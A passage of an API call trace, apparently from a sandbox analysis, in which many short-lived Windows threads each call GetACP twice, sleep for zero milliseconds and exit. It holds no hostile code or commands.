[0226.365] Sleep (dwMilliseconds=0x0) [0226.467] RtlExitUserThread (Status=0x0) Thread: id = 931 os_tid = 0xed0 [0226.366] GetACP () returned 0x4e4 [0226.366] GetACP () returned 0x4e4 [0226.366] Sleep (dwMilliseconds=0x0) [0226.467] RtlExitUserThread (Status=0x0) Thread: id = 932 os_tid = 0xed4 [0226.366] GetACP () returned 0x4e4 [0226.366] GetACP () returned 0x4e4 [0226.366] Sleep (dwMilliseconds=0x0) [0226.468] RtlExitUserThread (Status=0x0) Thread: id = 933 os_tid = 0xed8 [0226.367] GetACP () returned 0x4e4 [0226.367] GetACP () returned 0x4e4 [0226.367] Sleep (dwMilliseconds=0x0) [0226.468] RtlExitUserThread (Status=0x0) Thread: id = 934 os_tid = 0xedc [0226.367] GetACP () returned 0x4e4 [0226.367] GetACP () returned 0x4e4 [0226.367] Sleep (dwMilliseconds=0x0) [0226.469] RtlExitUserThread (Status=0x0) Thread: id = 935 os_tid = 0xee0 [0226.367] GetACP () returned 0x4e4 [0226.368] GetACP () returned 0x4e4 [0226.368] Sleep (dwMilliseconds=0x0) [0226.469] RtlExitUserThread (Status=0x0) Thread: id = 936 os_tid = 0xee4 [0226.368] GetACP () returned 0x4e4 [0226.368] GetACP () returned 0x4e4 [0226.368] Sleep (dwMilliseconds=0x0) [0226.470] RtlExitUserThread (Status=0x0) Thread: id = 957 os_tid = 0xf38 [0226.470] GetACP () returned 0x4e4 [0226.470] GetACP () returned 0x4e4 [0226.470] Sleep (dwMilliseconds=0x0) [0226.576] RtlExitUserThread (Status=0x0) Thread: id = 958 os_tid = 0xf3c [0226.471] GetACP () returned 0x4e4 [0226.471] GetACP () returned 0x4e4 [0226.471] Sleep (dwMilliseconds=0x0) [0226.576] RtlExitUserThread (Status=0x0) Thread: id = 959 os_tid = 0xf40 [0226.471] GetACP () returned 0x4e4 [0226.471] GetACP () returned 0x4e4 [0226.471] Sleep (dwMilliseconds=0x0) [0226.577] RtlExitUserThread (Status=0x0) Thread: id = 960 os_tid = 0xf44 [0226.472] GetACP () returned 0x4e4 [0226.472] GetACP () returned 0x4e4 [0226.472] Sleep (dwMilliseconds=0x0) [0226.577] RtlExitUserThread (Status=0x0) Thread: id = 961 os_tid = 0xf48 [0226.472] GetACP () returned 0x4e4 [0226.472] GetACP () returned 0x4e4 [0226.472] Sleep (dwMilliseconds=0x0) [0226.578] RtlExitUserThread (Status=0x0) Thread: id = 962 os_tid = 0xf4c [0226.472] GetACP () returned 0x4e4 [0226.472] GetACP () returned 0x4e4 [0226.472] Sleep (dwMilliseconds=0x0) [0226.578] RtlExitUserThread (Status=0x0) Thread: id = 963 os_tid = 0xf50 [0226.473] GetACP () returned 0x4e4 [0226.473] GetACP () returned 0x4e4 [0226.473] Sleep (dwMilliseconds=0x0) [0226.579] RtlExitUserThread (Status=0x0) Thread: id = 964 os_tid = 0xf54 [0226.473] GetACP () returned 0x4e4 [0226.473] GetACP () returned 0x4e4 [0226.473] Sleep (dwMilliseconds=0x0) [0226.579] RtlExitUserThread (Status=0x0) Thread: id = 965 os_tid = 0xf58 [0226.473] GetACP () returned 0x4e4 [0226.473] GetACP () returned 0x4e4 [0226.473] Sleep (dwMilliseconds=0x0) [0226.580] RtlExitUserThread (Status=0x0) Thread: id = 966 os_tid = 0xf5c [0226.474] GetACP () returned 0x4e4 [0226.474] GetACP () returned 0x4e4 [0226.474] Sleep (dwMilliseconds=0x0) [0226.580] RtlExitUserThread (Status=0x0) Thread: id = 967 os_tid = 0xf60 [0226.474] GetACP () returned 0x4e4 [0226.474] GetACP () returned 0x4e4 [0226.474] Sleep (dwMilliseconds=0x0) [0226.581] RtlExitUserThread (Status=0x0) Thread: id = 968 os_tid = 0xf64 [0226.474] GetACP () returned 0x4e4 [0226.474] GetACP () returned 0x4e4 [0226.475] Sleep (dwMilliseconds=0x0) [0226.581] RtlExitUserThread (Status=0x0) Thread: id = 969 os_tid = 0xf68 [0226.475] GetACP () returned 0x4e4 [0226.475] GetACP () returned 0x4e4 [0226.475] Sleep (dwMilliseconds=0x0) [0226.582] RtlExitUserThread (Status=0x0) Thread: id = 970 os_tid = 0xf6c [0226.475] GetACP () returned 0x4e4 [0226.475] GetACP () returned 0x4e4 [0226.476] Sleep (dwMilliseconds=0x0) [0226.582] RtlExitUserThread (Status=0x0) Thread: id = 971 os_tid = 0xf70 [0226.476] GetACP () returned 0x4e4 [0226.476] GetACP () returned 0x4e4 [0226.476] Sleep (dwMilliseconds=0x0) [0226.583] RtlExitUserThread (Status=0x0) Thread: id = 972 os_tid = 0xf74 [0226.476] GetACP () returned 0x4e4 [0226.476] GetACP () returned 0x4e4 [0226.476] Sleep (dwMilliseconds=0x0) [0226.583] RtlExitUserThread (Status=0x0) Thread: id = 973 os_tid = 0xf78 [0226.477] GetACP () returned 0x4e4 [0226.477] GetACP () returned 0x4e4 [0226.477] Sleep (dwMilliseconds=0x0) [0226.584] RtlExitUserThread (Status=0x0) Thread: id = 974 os_tid = 0xf7c [0226.478] GetACP () returned 0x4e4 [0226.478] GetACP () returned 0x4e4 [0226.478] Sleep (dwMilliseconds=0x0) [0226.584] RtlExitUserThread (Status=0x0) Thread: id = 975 os_tid = 0xf80 [0226.478] GetACP () returned 0x4e4 [0226.478] GetACP () returned 0x4e4 [0226.478] Sleep (dwMilliseconds=0x0) [0226.585] RtlExitUserThread (Status=0x0) Thread: id = 976 os_tid = 0xf84 [0226.479] GetACP () returned 0x4e4 [0226.479] GetACP () returned 0x4e4 [0226.479] Sleep (dwMilliseconds=0x0) [0226.586] RtlExitUserThread (Status=0x0) Thread: id = 997 os_tid = 0xfd8 [0226.586] GetACP () returned 0x4e4 [0226.587] GetACP () returned 0x4e4 [0226.587] Sleep (dwMilliseconds=0x0) [0226.701] RtlExitUserThread (Status=0x0) Thread: id = 998 os_tid = 0xfdc [0226.587] GetACP () returned 0x4e4 [0226.587] GetACP () returned 0x4e4 [0226.587] Sleep (dwMilliseconds=0x0) [0226.701] RtlExitUserThread (Status=0x0) Thread: id = 999 os_tid = 0xfe0 [0226.587] GetACP () returned 0x4e4 [0226.587] GetACP () returned 0x4e4 [0226.587] Sleep (dwMilliseconds=0x0) [0226.702] RtlExitUserThread (Status=0x0) Thread: id = 1000 os_tid = 0xfe4 [0226.588] GetACP () returned 0x4e4 [0226.588] GetACP () returned 0x4e4 [0226.588] Sleep (dwMilliseconds=0x0) [0226.702] RtlExitUserThread (Status=0x0) Thread: id = 1001 os_tid = 0xfe8 [0226.588] GetACP () returned 0x4e4 [0226.588] GetACP () returned 0x4e4 [0226.588] Sleep (dwMilliseconds=0x0) [0226.703] RtlExitUserThread (Status=0x0) Thread: id = 1002 os_tid = 0xfec [0226.588] GetACP () returned 0x4e4 [0226.588] GetACP () returned 0x4e4 [0226.588] Sleep (dwMilliseconds=0x0) [0226.703] RtlExitUserThread (Status=0x0) Thread: id = 1003 os_tid = 0xff0 [0226.589] GetACP () returned 0x4e4 [0226.589] GetACP () returned 0x4e4 [0226.589] Sleep (dwMilliseconds=0x0) [0226.704] RtlExitUserThread (Status=0x0) Thread: id = 1004 os_tid = 0xff4 [0226.590] GetACP () returned 0x4e4 [0226.590] GetACP () returned 0x4e4 [0226.590] Sleep (dwMilliseconds=0x0) [0226.704] RtlExitUserThread (Status=0x0) Thread: id = 1005 os_tid = 0xff8 [0226.590] GetACP () returned 0x4e4 [0226.590] GetACP () returned 0x4e4 [0226.590] Sleep (dwMilliseconds=0x0) [0226.705] RtlExitUserThread (Status=0x0) Thread: id = 1006 os_tid = 0xffc [0226.590] GetACP () returned 0x4e4 [0226.590] GetACP () returned 0x4e4 [0226.590] Sleep (dwMilliseconds=0x0) [0226.705] RtlExitUserThread (Status=0x0) Thread: id = 1007 os_tid = 0xbe0 [0226.591] GetACP () returned 0x4e4 [0226.591] GetACP () returned 0x4e4 [0226.591] Sleep (dwMilliseconds=0x0) [0226.706] RtlExitUserThread (Status=0x0) Thread: id = 1008 os_tid = 0xc28 [0226.591] GetACP () returned 0x4e4 [0226.591] GetACP () returned 0x4e4 [0226.591] Sleep (dwMilliseconds=0x0) [0226.706] RtlExitUserThread (Status=0x0) Thread: id = 1009 os_tid = 0xb74 [0226.592] GetACP () returned 0x4e4 [0226.592] GetACP () returned 0x4e4 [0226.592] Sleep (dwMilliseconds=0x0) [0226.707] RtlExitUserThread (Status=0x0) Thread: id = 1010 os_tid = 0xc64 [0226.592] GetACP () returned 0x4e4 [0226.592] GetACP () returned 0x4e4 [0226.592] Sleep (dwMilliseconds=0x0) [0226.707] RtlExitUserThread (Status=0x0) Thread: id = 1011 os_tid = 0x8cc [0226.593] GetACP () returned 0x4e4 [0226.593] GetACP () returned 0x4e4 [0226.593] Sleep (dwMilliseconds=0x0) [0226.708] RtlExitUserThread (Status=0x0) Thread: id = 1012 os_tid = 0xc8c [0226.593] GetACP () returned 0x4e4 [0226.593] GetACP () returned 0x4e4 [0226.593] Sleep (dwMilliseconds=0x0) [0226.708] RtlExitUserThread (Status=0x0) Thread: id = 1013 os_tid = 0x390 [0226.593] GetACP () returned 0x4e4 [0226.593] GetACP () returned 0x4e4 [0226.594] Sleep (dwMilliseconds=0x0) [0226.709] RtlExitUserThread (Status=0x0) Thread: id = 1014 os_tid = 0xc90 [0226.594] GetACP () returned 0x4e4 [0226.594] GetACP () returned 0x4e4 [0226.594] Sleep (dwMilliseconds=0x0) [0226.709] RtlExitUserThread (Status=0x0) Thread: id = 1015 os_tid = 0xc94 [0226.594] GetACP () returned 0x4e4 [0226.594] GetACP () returned 0x4e4 [0226.594] Sleep (dwMilliseconds=0x0) [0226.710] RtlExitUserThread (Status=0x0) Thread: id = 1016 os_tid = 0xc98 [0226.595] GetACP () returned 0x4e4 [0226.595] GetACP () returned 0x4e4 [0226.595] Sleep (dwMilliseconds=0x0) [0226.710] RtlExitUserThread (Status=0x0) Thread: id = 1037 os_tid = 0x378 [0226.711] GetACP () returned 0x4e4 [0226.711] GetACP () returned 0x4e4 [0226.711] Sleep (dwMilliseconds=0x0) [0226.826] RtlExitUserThread (Status=0x0) Thread: id = 1038 os_tid = 0x5bc [0226.711] GetACP () returned 0x4e4 [0226.711] GetACP () returned 0x4e4 [0226.711] Sleep (dwMilliseconds=0x0) [0226.826] RtlExitUserThread (Status=0x0) Thread: id = 1039 os_tid = 0xcbc [0226.712] GetACP () returned 0x4e4 [0226.712] GetACP () returned 0x4e4 [0226.712] Sleep (dwMilliseconds=0x0) [0226.827] RtlExitUserThread (Status=0x0) Thread: id = 1040 os_tid = 0x47c [0226.712] GetACP () returned 0x4e4 [0226.712] GetACP () returned 0x4e4 [0226.712] Sleep (dwMilliseconds=0x0) [0226.827] RtlExitUserThread (Status=0x0) Thread: id = 1041 os_tid = 0x36c [0226.712] GetACP () returned 0x4e4 [0226.712] GetACP () returned 0x4e4 [0226.712] Sleep (dwMilliseconds=0x0) [0226.828] RtlExitUserThread (Status=0x0) Thread: id = 1042 os_tid = 0xcc0 [0226.713] GetACP () returned 0x4e4 [0226.713] GetACP () returned 0x4e4 [0226.713] Sleep (dwMilliseconds=0x0) [0226.828] RtlExitUserThread (Status=0x0) Thread: id = 1043 os_tid = 0xcd4 [0226.713] GetACP () returned 0x4e4 [0226.713] GetACP () returned 0x4e4 [0226.713] Sleep (dwMilliseconds=0x0) [0226.829] RtlExitUserThread (Status=0x0) Thread: id = 1044 os_tid = 0xcd8 [0226.713] GetACP () returned 0x4e4 [0226.713] GetACP () returned 0x4e4 [0226.713] Sleep (dwMilliseconds=0x0) [0226.830] RtlExitUserThread (Status=0x0) Thread: id = 1045 os_tid = 0xcdc [0226.714] GetACP () returned 0x4e4 [0226.714] GetACP () returned 0x4e4 [0226.714] Sleep (dwMilliseconds=0x0) [0226.830] RtlExitUserThread (Status=0x0) Thread: id = 1046 os_tid = 0xd14 [0226.714] GetACP () returned 0x4e4 [0226.714] GetACP () returned 0x4e4 [0226.714] Sleep (dwMilliseconds=0x0) [0226.831] RtlExitUserThread (Status=0x0) Thread: id = 1047 os_tid = 0xd18 [0226.714] GetACP () returned 0x4e4 [0226.714] GetACP () returned 0x4e4 [0226.714] Sleep (dwMilliseconds=0x0) [0226.831] RtlExitUserThread (Status=0x0) Thread: id = 1048 os_tid = 0xd1c [0226.715] GetACP () returned 0x4e4 [0226.715] GetACP () returned 0x4e4 [0226.715] Sleep (dwMilliseconds=0x0) [0226.832] RtlExitUserThread (Status=0x0) Thread: id = 1049 os_tid = 0x868 [0226.715] GetACP () returned 0x4e4 [0226.715] GetACP () returned 0x4e4 [0226.715] Sleep (dwMilliseconds=0x0) [0226.832] RtlExitUserThread (Status=0x0) Thread: id = 1050 os_tid = 0x940 [0226.715] GetACP () returned 0x4e4 [0226.715] GetACP () returned 0x4e4 [0226.715] Sleep (dwMilliseconds=0x0) [0226.833] RtlExitUserThread (Status=0x0) Thread: id = 1051 os_tid = 0x928 [0226.716] GetACP () returned 0x4e4 [0226.716] GetACP () returned 0x4e4 [0226.716] Sleep (dwMilliseconds=0x0) [0226.833] RtlExitUserThread (Status=0x0) Thread: id = 1052 os_tid = 0xb80 [0226.716] GetACP () returned 0x4e4 [0226.716] GetACP () returned 0x4e4 [0226.716] Sleep (dwMilliseconds=0x0) [0226.834] RtlExitUserThread (Status=0x0) Thread: id = 1053 os_tid = 0x8f4 [0226.717] GetACP () returned 0x4e4 [0226.717] GetACP () returned 0x4e4 [0226.717] Sleep (dwMilliseconds=0x0) [0226.834] RtlExitUserThread (Status=0x0) Thread: id = 1054 os_tid = 0xb78 [0226.717] GetACP () returned 0x4e4 [0226.717] GetACP () returned 0x4e4 [0226.717] Sleep (dwMilliseconds=0x0) [0226.835] RtlExitUserThread (Status=0x0) Thread: id = 1055 os_tid = 0xb7c [0226.717] GetACP () returned 0x4e4 [0226.717] GetACP () returned 0x4e4 [0226.717] Sleep (dwMilliseconds=0x0) [0226.836] RtlExitUserThread (Status=0x0) Thread: id = 1056 os_tid = 0xce8 [0226.718] GetACP () returned 0x4e4 [0226.718] GetACP () returned 0x4e4 [0226.718] Sleep (dwMilliseconds=0x0) [0226.836] RtlExitUserThread (Status=0x0) Thread: id = 1077 os_tid = 0xd20 [0226.837] GetACP () returned 0x4e4 [0226.837] GetACP () returned 0x4e4 [0226.837] Sleep (dwMilliseconds=0x0) [0226.951] RtlExitUserThread (Status=0x0) Thread: id = 1078 os_tid = 0xd7c [0226.838] GetACP () returned 0x4e4 [0226.838] GetACP () returned 0x4e4 [0226.838] Sleep (dwMilliseconds=0x0) [0226.951] RtlExitUserThread (Status=0x0) Thread: id = 1079 os_tid = 0xb54 [0226.838] GetACP () returned 0x4e4 [0226.838] GetACP () returned 0x4e4 [0226.838] Sleep (dwMilliseconds=0x0) [0226.952] RtlExitUserThread (Status=0x0) Thread: id = 1080 os_tid = 0x8c0 [0226.838] GetACP () returned 0x4e4 [0226.838] GetACP () returned 0x4e4 [0226.838] Sleep (dwMilliseconds=0x0) [0226.952] RtlExitUserThread (Status=0x0) Thread: id = 1081 os_tid = 0xcc8 [0226.839] GetACP () returned 0x4e4 [0226.839] GetACP () returned 0x4e4 [0226.839] Sleep (dwMilliseconds=0x0) [0226.953] RtlExitUserThread (Status=0x0) Thread: id = 1082 os_tid = 0xd24 [0226.839] GetACP () returned 0x4e4 [0226.839] GetACP () returned 0x4e4 [0226.839] Sleep (dwMilliseconds=0x0) [0226.953] RtlExitUserThread (Status=0x0) Thread: id = 1083 os_tid = 0x8bc [0226.840] GetACP () returned 0x4e4 [0226.840] GetACP () returned 0x4e4 [0226.840] Sleep (dwMilliseconds=0x0) [0226.954] RtlExitUserThread (Status=0x0) Thread: id = 1084 os_tid = 0x84c [0226.840] GetACP () returned 0x4e4 [0226.840] GetACP () returned 0x4e4 [0226.840] Sleep (dwMilliseconds=0x0) [0226.954] RtlExitUserThread (Status=0x0) Thread: id = 1085 os_tid = 0xd04 [0226.840] GetACP () returned 0x4e4 [0226.840] GetACP () returned 0x4e4 [0226.840] Sleep (dwMilliseconds=0x0) [0226.955] RtlExitUserThread (Status=0x0) Thread: id = 1086 os_tid = 0xc9c [0226.841] GetACP () returned 0x4e4 [0226.841] GetACP () returned 0x4e4 [0226.841] Sleep (dwMilliseconds=0x0) [0226.955] RtlExitUserThread (Status=0x0) Thread: id = 1087 os_tid = 0xdd8 [0226.842] GetACP () returned 0x4e4 [0226.842] GetACP () returned 0x4e4 [0226.842] Sleep (dwMilliseconds=0x0) [0226.956] RtlExitUserThread (Status=0x0) Thread: id = 1088 os_tid = 0xbf0 [0226.842] GetACP () returned 0x4e4 [0226.842] GetACP () returned 0x4e4 [0226.842] Sleep (dwMilliseconds=0x0) [0226.957] RtlExitUserThread (Status=0x0) Thread: id = 1089 os_tid = 0xbc8 [0226.843] GetACP () returned 0x4e4 [0226.843] GetACP () returned 0x4e4 [0226.843] Sleep (dwMilliseconds=0x0) [0226.957] RtlExitUserThread (Status=0x0) Thread: id = 1090 os_tid = 0xaf0 [0226.843] GetACP () returned 0x4e4 [0226.843] GetACP () returned 0x4e4 [0226.843] Sleep (dwMilliseconds=0x0) [0226.958] RtlExitUserThread (Status=0x0) Thread: id = 1091 os_tid = 0x5f0 [0226.843] GetACP () returned 0x4e4 [0226.843] GetACP () returned 0x4e4 [0226.843] Sleep (dwMilliseconds=0x0) [0226.959] RtlExitUserThread (Status=0x0) Thread: id = 1092 os_tid = 0x854 [0226.844] GetACP () returned 0x4e4 [0226.844] GetACP () returned 0x4e4 [0226.844] Sleep (dwMilliseconds=0x0) [0226.959] RtlExitUserThread (Status=0x0) Thread: id = 1093 os_tid = 0xbf4 [0226.844] GetACP () returned 0x4e4 [0226.844] GetACP () returned 0x4e4 [0226.844] Sleep (dwMilliseconds=0x0) [0226.960] RtlExitUserThread (Status=0x0) Thread: id = 1094 os_tid = 0x758 [0226.845] GetACP () returned 0x4e4 [0226.845] GetACP () returned 0x4e4 [0226.845] Sleep (dwMilliseconds=0x0) [0226.960] RtlExitUserThread (Status=0x0) Thread: id = 1095 os_tid = 0x838 [0226.845] GetACP () returned 0x4e4 [0226.845] GetACP () returned 0x4e4 [0226.845] Sleep (dwMilliseconds=0x0) [0226.961] RtlExitUserThread (Status=0x0) Thread: id = 1096 os_tid = 0xbc0 [0226.845] GetACP () returned 0x4e4 [0226.845] GetACP () returned 0x4e4 [0226.845] Sleep (dwMilliseconds=0x0) [0226.961] RtlExitUserThread (Status=0x0) Thread: id = 1117 os_tid = 0x1024 [0226.962] GetACP () returned 0x4e4 [0226.962] GetACP () returned 0x4e4 [0226.962] Sleep (dwMilliseconds=0x0) [0227.162] RtlExitUserThread (Status=0x0) Thread: id = 1118 os_tid = 0x1028 [0226.963] GetACP () returned 0x4e4 [0226.963] GetACP () returned 0x4e4 [0226.963] Sleep (dwMilliseconds=0x0) [0227.163] RtlExitUserThread (Status=0x0) Thread: id = 1119 os_tid = 0x102c [0226.963] GetACP () returned 0x4e4 [0226.963] GetACP () returned 0x4e4 [0226.963] Sleep (dwMilliseconds=0x0) [0227.163] RtlExitUserThread (Status=0x0) Thread: id = 1120 os_tid = 0x1030 [0226.963] GetACP () returned 0x4e4 [0226.963] GetACP () returned 0x4e4 [0226.963] Sleep (dwMilliseconds=0x0) [0227.164] RtlExitUserThread (Status=0x0) Thread: id = 1121 os_tid = 0x1034 [0226.964] GetACP () returned 0x4e4 [0226.964] GetACP () returned 0x4e4 [0226.964] Sleep (dwMilliseconds=0x0) [0227.165] RtlExitUserThread (Status=0x0) Thread: id = 1122 os_tid = 0x1038 [0226.964] GetACP () returned 0x4e4 [0226.964] GetACP () returned 0x4e4 [0226.964] Sleep (dwMilliseconds=0x0) [0227.165] RtlExitUserThread (Status=0x0) Thread: id = 1123 os_tid = 0x103c [0226.965] GetACP () returned 0x4e4 [0226.965] GetACP () returned 0x4e4 [0226.965] Sleep (dwMilliseconds=0x0) [0227.166] RtlExitUserThread (Status=0x0) Thread: id = 1124 os_tid = 0x1040 [0226.965] GetACP () returned 0x4e4 [0226.965] GetACP () returned 0x4e4 [0226.965] Sleep (dwMilliseconds=0x0) [0227.167] RtlExitUserThread (Status=0x0) Thread: id = 1125 os_tid = 0x1044 [0226.965] GetACP () returned 0x4e4 [0226.965] GetACP () returned 0x4e4 [0226.966] Sleep (dwMilliseconds=0x0) [0227.167] RtlExitUserThread (Status=0x0) Thread: id = 1126 os_tid = 0x1048 [0226.966] GetACP () returned 0x4e4 [0226.966] GetACP () returned 0x4e4 [0226.966] Sleep (dwMilliseconds=0x0) [0227.168] RtlExitUserThread (Status=0x0) Thread: id = 1127 os_tid = 0x104c [0226.967] GetACP () returned 0x4e4 [0226.967] GetACP () returned 0x4e4 [0226.967] Sleep (dwMilliseconds=0x0) [0227.168] RtlExitUserThread (Status=0x0) Thread: id = 1128 os_tid = 0x1050 [0226.967] GetACP () returned 0x4e4 [0226.967] GetACP () returned 0x4e4 [0226.967] Sleep (dwMilliseconds=0x0) [0227.169] RtlExitUserThread (Status=0x0) Thread: id = 1129 os_tid = 0x1054 [0226.967] GetACP () returned 0x4e4 [0226.967] GetACP () returned 0x4e4 [0226.967] Sleep (dwMilliseconds=0x0) [0227.170] RtlExitUserThread (Status=0x0) Thread: id = 1130 os_tid = 0x1058 [0226.968] GetACP () returned 0x4e4 [0226.968] GetACP () returned 0x4e4 [0226.968] Sleep (dwMilliseconds=0x0) [0227.171] RtlExitUserThread (Status=0x0) Thread: id = 1131 os_tid = 0x105c [0226.968] GetACP () returned 0x4e4 [0226.968] GetACP () returned 0x4e4 [0226.968] Sleep (dwMilliseconds=0x0) [0227.171] RtlExitUserThread (Status=0x0) Thread: id = 1132 os_tid = 0x1060 [0226.969] GetACP () returned 0x4e4 [0226.969] GetACP () returned 0x4e4 [0226.969] Sleep (dwMilliseconds=0x0) [0227.172] RtlExitUserThread (Status=0x0) Thread: id = 1133 os_tid = 0x1064 [0226.969] GetACP () returned 0x4e4 [0226.969] GetACP () returned 0x4e4 [0226.969] Sleep (dwMilliseconds=0x0) [0227.172] RtlExitUserThread (Status=0x0) Thread: id = 1134 os_tid = 0x1068 [0226.970] GetACP () returned 0x4e4 [0226.970] GetACP () returned 0x4e4 [0226.970] Sleep (dwMilliseconds=0x0) [0227.173] RtlExitUserThread (Status=0x0) Thread: id = 1135 os_tid = 0x106c [0226.970] GetACP () returned 0x4e4 [0226.970] GetACP () returned 0x4e4 [0226.970] Sleep (dwMilliseconds=0x0) [0227.173] RtlExitUserThread (Status=0x0) Thread: id = 1136 os_tid = 0x1070 [0226.970] GetACP () returned 0x4e4 [0226.970] GetACP () returned 0x4e4 [0226.970] Sleep (dwMilliseconds=0x0) [0227.174] RtlExitUserThread (Status=0x0) Thread: id = 1157 os_tid = 0x10c4 [0227.175] GetACP () returned 0x4e4 [0227.175] GetACP () returned 0x4e4 [0227.175] Sleep (dwMilliseconds=0x0) [0227.346] RtlExitUserThread (Status=0x0) Thread: id = 1158 os_tid = 0x10c8 [0227.175] GetACP () returned 0x4e4 [0227.175] GetACP () returned 0x4e4 [0227.175] Sleep (dwMilliseconds=0x0) [0227.347] RtlExitUserThread (Status=0x0) Thread: id = 1159 os_tid = 0x10cc [0227.176] GetACP () returned 0x4e4 [0227.176] GetACP () returned 0x4e4 [0227.176] Sleep (dwMilliseconds=0x0) [0227.347] RtlExitUserThread (Status=0x0) Thread: id = 1160 os_tid = 0x10d0 [0227.176] GetACP () returned 0x4e4 [0227.176] GetACP () returned 0x4e4 [0227.176] Sleep (dwMilliseconds=0x0) [0227.348] RtlExitUserThread (Status=0x0) Thread: id = 1161 os_tid = 0x10d4 [0227.177] GetACP () returned 0x4e4 [0227.177] GetACP () returned 0x4e4 [0227.177] Sleep (dwMilliseconds=0x0) [0227.348] RtlExitUserThread (Status=0x0) Thread: id = 1162 os_tid = 0x10d8 [0227.177] GetACP () returned 0x4e4 [0227.177] GetACP () returned 0x4e4 [0227.177] Sleep (dwMilliseconds=0x0) [0227.349] RtlExitUserThread (Status=0x0) Thread: id = 1163 os_tid = 0x10dc [0227.178] GetACP () returned 0x4e4 [0227.178] GetACP () returned 0x4e4 [0227.178] Sleep (dwMilliseconds=0x0) [0227.350] RtlExitUserThread (Status=0x0) Thread: id = 1164 os_tid = 0x10e0 [0227.178] GetACP () returned 0x4e4 [0227.178] GetACP () returned 0x4e4 [0227.178] Sleep (dwMilliseconds=0x0) [0227.350] RtlExitUserThread (Status=0x0) Thread: id = 1165 os_tid = 0x10e4 [0227.179] GetACP () returned 0x4e4 [0227.179] GetACP () returned 0x4e4 [0227.179] Sleep (dwMilliseconds=0x0) [0227.351] RtlExitUserThread (Status=0x0) Thread: id = 1166 os_tid = 0x10e8 [0227.179] GetACP () returned 0x4e4 [0227.179] GetACP () returned 0x4e4 [0227.179] Sleep (dwMilliseconds=0x0) [0227.351] RtlExitUserThread (Status=0x0) Thread: id = 1167 os_tid = 0x10ec [0227.180] GetACP () returned 0x4e4 [0227.180] GetACP () returned 0x4e4 [0227.180] Sleep (dwMilliseconds=0x0) [0227.352] RtlExitUserThread (Status=0x0) Thread: id = 1168 os_tid = 0x10f0 [0227.180] GetACP () returned 0x4e4 [0227.180] GetACP () returned 0x4e4 [0227.180] Sleep (dwMilliseconds=0x0) [0227.352] RtlExitUserThread (Status=0x0) Thread: id = 1169 os_tid = 0x10f4 [0227.180] GetACP () returned 0x4e4 [0227.180] GetACP () returned 0x4e4 [0227.180] Sleep (dwMilliseconds=0x0) [0227.353] RtlExitUserThread (Status=0x0) Thread: id = 1170 os_tid = 0x10f8 [0227.181] GetACP () returned 0x4e4 [0227.181] GetACP () returned 0x4e4 [0227.181] Sleep (dwMilliseconds=0x0) [0227.353] RtlExitUserThread (Status=0x0) Thread: id = 1171 os_tid = 0x10fc [0227.181] GetACP () returned 0x4e4 [0227.181] GetACP () returned 0x4e4 [0227.181] Sleep (dwMilliseconds=0x0) [0227.354] RtlExitUserThread (Status=0x0) Thread: id = 1172 os_tid = 0x1100 [0227.182] GetACP () returned 0x4e4 [0227.182] GetACP () returned 0x4e4 [0227.182] Sleep (dwMilliseconds=0x0) [0227.354] RtlExitUserThread (Status=0x0) Thread: id = 1173 os_tid = 0x1104 [0227.182] GetACP () returned 0x4e4 [0227.182] GetACP () returned 0x4e4 [0227.182] Sleep (dwMilliseconds=0x0) [0227.355] RtlExitUserThread (Status=0x0) Thread: id = 1174 os_tid = 0x1108 [0227.183] GetACP () returned 0x4e4 [0227.183] GetACP () returned 0x4e4 [0227.183] Sleep (dwMilliseconds=0x0) [0227.356] RtlExitUserThread (Status=0x0) Thread: id = 1175 os_tid = 0x110c [0227.183] GetACP () returned 0x4e4 [0227.183] GetACP () returned 0x4e4 [0227.183] Sleep (dwMilliseconds=0x0) [0227.356] RtlExitUserThread (Status=0x0) Thread: id = 1176 os_tid = 0x1110 [0227.183] GetACP () returned 0x4e4 [0227.183] GetACP () returned 0x4e4 [0227.183] Sleep (dwMilliseconds=0x0) [0227.357] RtlExitUserThread (Status=0x0) Thread: id = 1197 os_tid = 0x1164 [0227.358] GetACP () returned 0x4e4 [0227.358] GetACP () returned 0x4e4 [0227.358] Sleep (dwMilliseconds=0x0) [0227.470] RtlExitUserThread (Status=0x0) Thread: id = 1198 os_tid = 0x1168 [0227.359] GetACP () returned 0x4e4 [0227.359] GetACP () returned 0x4e4 [0227.359] Sleep (dwMilliseconds=0x0) [0227.470] RtlExitUserThread (Status=0x0) Thread: id = 1199 os_tid = 0x116c [0227.359] GetACP () returned 0x4e4 [0227.359] GetACP () returned 0x4e4 [0227.359] Sleep (dwMilliseconds=0x0) [0227.471] RtlExitUserThread (Status=0x0) Thread: id = 1200 os_tid = 0x1170 [0227.360] GetACP () returned 0x4e4 [0227.360] GetACP () returned 0x4e4 [0227.360] Sleep (dwMilliseconds=0x0) [0227.471] RtlExitUserThread (Status=0x0) Thread: id = 1201 os_tid = 0x1174 [0227.360] GetACP () returned 0x4e4 [0227.360] GetACP () returned 0x4e4 [0227.360] Sleep (dwMilliseconds=0x0) [0227.472] RtlExitUserThread (Status=0x0) Thread: id = 1202 os_tid = 0x1178 [0227.361] GetACP () returned 0x4e4 [0227.361] GetACP () returned 0x4e4 [0227.361] Sleep (dwMilliseconds=0x0) [0227.472] RtlExitUserThread (Status=0x0) Thread: id = 1203 os_tid = 0x117c [0227.361] GetACP () returned 0x4e4 [0227.361] GetACP () returned 0x4e4 [0227.361] Sleep (dwMilliseconds=0x0) [0227.473] RtlExitUserThread (Status=0x0) Thread: id = 1204 os_tid = 0x1180 [0227.362] GetACP () returned 0x4e4 [0227.362] GetACP () returned 0x4e4 [0227.362] Sleep (dwMilliseconds=0x0) [0227.473] RtlExitUserThread (Status=0x0) Thread: id = 1205 os_tid = 0x1184 [0227.362] GetACP () returned 0x4e4 [0227.362] GetACP () returned 0x4e4 [0227.362] Sleep (dwMilliseconds=0x0) [0227.474] RtlExitUserThread (Status=0x0) Thread: id = 1206 os_tid = 0x1188 [0227.362] GetACP () returned 0x4e4 [0227.362] GetACP () returned 0x4e4 [0227.363] Sleep (dwMilliseconds=0x0) [0227.475] RtlExitUserThread (Status=0x0) Thread: id = 1207 os_tid = 0x118c [0227.364] GetACP () returned 0x4e4 [0227.364] GetACP () returned 0x4e4 [0227.364] Sleep (dwMilliseconds=0x0) [0227.475] RtlExitUserThread (Status=0x0) Thread: id = 1208 os_tid = 0x1190 [0227.364] GetACP () returned 0x4e4 [0227.364] GetACP () returned 0x4e4 [0227.364] Sleep (dwMilliseconds=0x0) [0227.476] RtlExitUserThread (Status=0x0) Thread: id = 1209 os_tid = 0x1194 [0227.365] GetACP () returned 0x4e4 [0227.365] GetACP () returned 0x4e4 [0227.365] Sleep 